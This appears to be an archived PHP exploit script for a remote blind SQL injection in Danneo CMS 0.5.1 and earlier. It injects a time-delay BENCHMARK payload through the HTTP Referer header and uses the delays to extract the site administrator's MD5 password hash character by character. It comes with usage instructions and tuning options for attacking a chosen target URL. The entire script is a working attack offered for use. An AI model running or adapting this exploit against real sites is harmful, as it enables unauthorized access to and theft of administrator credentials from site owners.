<?php
## Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit
## Software site: http://www.danneo.com/
## By InATeam (http://inattack.ru/)
## Requires "Referers statistics" option turned ON!
echo "------------------------------------------------------------\n";
echo "Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit\n";
echo "(c)oded by Raz0r, InATeam (http://inattack.ru/)\n";
echo "Requires \"Referers statistics\" option turned ON!\n";
echo "------------------------------------------------------------\n";
if ($argc<2) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] OPTIONS\n\n";
echo "[url] - target server where Danneo CMS is installed\n\n";
echo "OPTIONS:\n";
echo "-p=<prefix> - use specific prefix\n";
echo "-id=<id> - use specific user id (default 1)\n";
echo "-c=<count> - benchmark()'s loop count (default 300000)\n";
echo "-v - verbose mode\n\n";
echo "tip:\n";
echo "use bigger number of <count> if server is slow\n\n";
echo "php {$argv[0]} http://site.com/ -p=cms_\n";
echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n";
die;
}
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",25);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
if(strpos($argv[$i],"=")!=false) {
$exploded=explode("=",$argv[$i]);
if ($exploded[0]=='-p') $prefix = $exploded[1];
if ($exploded[0]=='-id') $id = $exploded[1];
if ($exploded[0]=='-c') $benchmark = $exploded[1];
}
elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 1;
if (!isset($benchmark)) $benchmark = 300000;
if (!isset($verbose)) $verbose=false;
$url_parts = parse_url($url);
$host = $url_parts['host'];
$port = (isset($url_parts['port']) ? $url_parts['port'] : 80);
$path = $url_parts['path'];
$query_pattern = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*";
$verbose_pattern = "%-12s %2d: %s";
print "[~] Testing probe delays...\n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i<=3;$i++){
$query = sprintf($query_pattern, "1=1", 1);
$fdelay = dorequest($query,false,true);
if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
$query = sprintf($query_pattern, "1=1", $benchmark);
$sdelay = dorequest($query,false,true);
if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;}
if ($sdelay<=($fdelay*2)) {$ok=false;break;}
usleep($benchmark/1000); $delay=false;
}
if ($ok) {
$nondelayed = $nodelay/3;
print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n";
$delayed = $withdelay/3;
print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n";
}
else die("[-] Exploit failed\n");
if (isset($GLOBALS['version'])) {
echo "[+] Version {$GLOBALS['version']} has been detected\n";
$v = str_replace(".","",$GLOBALS['version']);
}
if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";}
elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";}
else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";}
print " Getting hash...";
if ($verbose) {print "\r[~]"; print "\n";}
$hash='';
for($i=1; $i<=32; $i++) {
$chr = gethashchar($i);
if($chr!==false) $hash .= $chr;
else {
$chr = gethashchar($i);
if ($chr !==false)$hash .= $chr;
else die("\n[-] Exploit failed\n"); } }
if (!$verbose) {print "\r[~]"; print "\n";}
print "[+] Result: {$hash}\n";
function gethashchar ($pos) {
global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose;
$inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))";
$query = sprintf($query_pattern, $inj.">57", $benchmark*4);
$success = condition($query);
if (!$success) {
if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n");
$min = 48;
$max = 57; }
else {
if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n");
$min = 97;
$max = 102; }
for($i=$min;$i<=$max;$i++) {
$query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
$success = condition($query);
if ($success) {
$query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4);
$recheck = condition($query);
if (!$recheck) {
$chr = chr($i);
if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n");
return $chr;
}
}
}
return false;
}
function condition($query) {
global $delayed,$benchmark,$verbose,$verbose_pattern;
for($attempt = 1; $attempt <= 10; $attempt++){
$delay = dorequest($query,true);
if ($delay === false) {
if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n");
}
else {
if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n"); break;
}
}
if ($attempt == 10) die("[-] Exploit failed\n");
if($delay > ($delayed * 2)) {
usleep(($benchmark*4)/1000);
return true; }
return false;
}
function dorequest($query,$gethash=false,$getversion=false) {
global $host,$port,$path,$verbose;
if ($gethash&&!$verbose) status();
$start = getmicrotime();
$s = fsockopen(gethostbyname($host),$port);
if (!$s) return false;
else {
$packet = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "User-Agent: InAttack User Agent\r\n";
$packet .= "Referer: {$query}\r\n";
$packet .= "Connection: Close\r\n\r\n";
fputs($s, $packet);
$html='';
while (!feof($s)) $html.=fgets($s);
if ($getversion && !isset($GLOBALS['version'])) {
$out=array();
if (preg_match("@<META NAME=\"GENERATOR\" CONTENT=\"Danneo CMS ([^>]+)\">@i",$html,$out)) $GLOBALS['version']=$out[1];
}
$end = getmicrotime();
}
return intval(($end-$start)*10);
}
function status() {
static $n;
$n++;
if ($n > 3) $n = 0;
if($n==0){ print "\r[-]\r"; }
if($n==1){ print "\r[\\]\r";}
if($n==2){ print "\r[|]\r"; }
if($n==3){ print "\r[/]\r"; }
}
function getmicrotime() {return array_sum(explode(" ", microtime()));}
?>
# milw0rm.com [2008-03-11]
